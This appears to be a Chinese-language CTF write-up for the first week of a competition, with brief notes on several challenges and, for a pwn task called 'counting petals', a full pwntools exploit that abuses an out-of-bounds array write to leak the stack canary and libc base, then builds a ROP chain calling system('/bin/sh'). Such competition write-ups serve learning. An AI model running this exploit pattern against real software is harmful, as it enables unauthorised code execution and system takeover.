misaki #00044e-WEEK1-WP

1-签到

1-TEST NC

nc 链接即可

2-从这里开始的序章。

2-sieve

ai直接跑出来

3-Hakuya Want A Girl Friend

开头是压缩包pk格式，结尾是47 4e 50 89png图片格式

倒叙即可获取图片

png高度一把梭即可

4-counting petals

第一次输入不超过16，第二次循环数组输入可以输入到v7[17]，超出合法范围，覆盖到v8，同时是%ld，同时覆盖了v8，v9，后续通过输出泄漏返回地址，canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import * #引用pwntools库
context(log_level='debug',arch='amd64',os='linux')

ming=0
if ming:
    p=remote('node2.hgame.vidar.club',31656)#配置远程连接node1.hgame.vidar.club:31656
else:
    p=process("./vuln")#配置本地连接:


#gdb.attach(p)
p.sendlineafter(b'prepared this time?', b'16')
for i in range(15):
    p.sendlineafter(b'flower number', b'0') 

adc=u64(p32(20)+p32(22))
p.sendlineafter(b'the flower number 16 : ',str(adc))


p.sendlineafter(b'former and 2 indicates the latter: ',b'0')


p.recvuntil(b'94489280532 + ')
canary=eval(p.recvuntil(" +",drop=True))
if canary<0:
    canary=canary-(canary*2)
p.recvuntil(b'1 + ')
base_add=eval(p.recvuntil(" +",drop=True))


print(b'int_canary=',canary)
print(b'hex_canary=',hex(canary))
print(b'int_base=',base_add)
print(b'hex_base=',hex(base_add))

e=ELF("./vuln")
libc = ELF('./libc.so.6')
libc_base=base_add-0x29d90


ret=0x29139+libc_base
rdi=libc.search(asm("pop rdi\nret")).__next__()+libc_base
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))


p.sendlineafter(b'prepared this time?\n', b'16')

for i in range(15):
    p.sendlineafter(b'flower number ', b'1') 


p.sendlineafter(b'the flower number 16 : ',b'22')

for i in range(18):
    p.sendline(b"+") 

#payload=p64(canary)

p.sendline(str(ret))
p.sendline(str(rdi))
p.sendline(str(binsh_addr))
p.sendline(str(system_addr))

p.sendlineafter(b'former and 2 indicates the latter: ',b'0')


p.interactive()#与程序交互

5-Compress dot new

ai直接出

6-Turtle


rc4解出来的key作为第二个魔改rc4的key